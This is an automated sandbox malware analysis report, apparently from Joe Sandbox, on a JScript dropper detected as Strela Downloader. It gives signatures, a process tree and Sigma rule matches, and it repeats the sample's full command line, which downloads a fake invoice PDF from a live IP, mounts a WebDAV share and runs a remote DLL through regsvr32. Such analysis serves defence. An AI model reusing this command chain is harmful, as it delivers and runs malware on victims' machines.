Edit tour

Windows Analysis Report
47011380785516565.js

Overview

General Information

Sample name:	47011380785516565.js
Analysis ID:	1587784
MD5:	ecc8ee9fd988e21cd464983ee26b35bf
SHA1:	6f27dd60cce7d884d36758bd3724d48161ad7caa
SHA256:	8c50d398b535becd701ab36c9e8e03f265132db0a9448c7d9e7d56fefce82ac7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3688 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6708 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5540 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6480 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1608,i,15722058686658153493,8996251667160913984,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 356 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1384 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7000 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3688	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5540, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5540, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ProcessId: 3688, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ProcessId: 3688, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5540, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 356, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1384, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7000, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 356, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1384, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll, ProcessId: 6708, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 47011380785516565.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 47011380785516565.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1832953663.00000198F8DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1886318290.000001525C1C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1886022480.000001525C204000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1886371744.000001525C204000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1884943710.000001525C21F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1886318290.000001525C1C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceh
Source: svchost.exe, 00000009.00000002.3113420801.000002D86B800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1891886017.000002D86B5B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3688, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 47011380785516565.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3260:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ix1rhgx2.55c.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
